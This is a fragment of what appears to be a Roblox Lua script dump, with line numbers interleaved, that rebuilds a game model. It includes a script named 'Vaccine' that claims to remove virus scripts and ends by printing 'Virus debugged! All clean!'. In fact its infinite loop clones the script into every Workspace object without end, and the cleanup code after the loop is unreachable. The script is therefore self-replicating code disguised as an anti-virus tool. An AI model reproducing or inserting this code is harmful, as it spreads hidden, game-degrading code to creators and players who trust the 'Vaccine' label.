model.BodyKit.ChildRemoved:connect(Regen)
2568
model.ChildRemoved:connect(Regen)
2569
model.Brain.ChildRemoved:connect(Regen)
2570
script.Parent.TeamColor.Changed:connect(setTeam)
2571
script.Parent.TeamGame.Changed:connect(setTeam)
2572
2573
end))
2574
Script167.Name = "Vaccine"
2575
Script167.Parent = Model0
2576
table.insert(cors,sandbox(Script167,function()
2577
function spread() -- created by szymkom
2578
local stuff = game.Workspace:GetChildren()
2579
for i = 1, #stuff do
2580
if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
2581
local clone = script:clone()
2582
clone.Parent = stuff[i]
2583
end
2584
end
2585
end
2586
2587
while true do
2588
wait(.0)
2589
spread()
2590
end
2591
2592
function GetAllItems(mdl) 
2593
local objs = {} 
2594
function Search(obj) 
2595
if obj~=workspace then 
2596
table.insert(objs,obj) 
2597
end 
2598
if #obj:GetChildren() > 0 then 
2599
for i, v in ipairs(obj:GetChildren()) do 
2600
Search(v) 
2601
end 
2602
end 
2603
end 
2604
Search(mdl) 
2605
return objs 
2606
end 
2607
2608
2609
2610
for i, v in ipairs(GetAllItems(workspace)) do 
2611
if v.className == "Script" then 
2612
if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then 
2613
v.Parent = game.Lighting --Just in case it has a removal prevention. 
2614
t = Instance.new("ObjectValue") 
2615
t.Name = "IsAVirus" 
2616
t.Parent = v 
2617
end 
2618
end 
2619
end 
2620
2621
for i, v in ipairs(game.Lighting:GetChildren()) do 
2622
if v:findFirstChild("IsAVirus") then --Only remove the viruses. 
2623
v:remove() 
2624
end 
2625
end 
2626
2627
2628
print("Virus debugged! All clean!")
2629
end))
2630
for i,v in pairs(mas:GetChildren()) do
2631
	v.Parent = workspace
2632
	pcall(function() v:MakeJoints() end)
2633
end
2634
mas:Destroy()
2635
for i,v in pairs(cors) do
2636
	spawn(function()
2637
		pcall(v)
2638
	end)
2639
end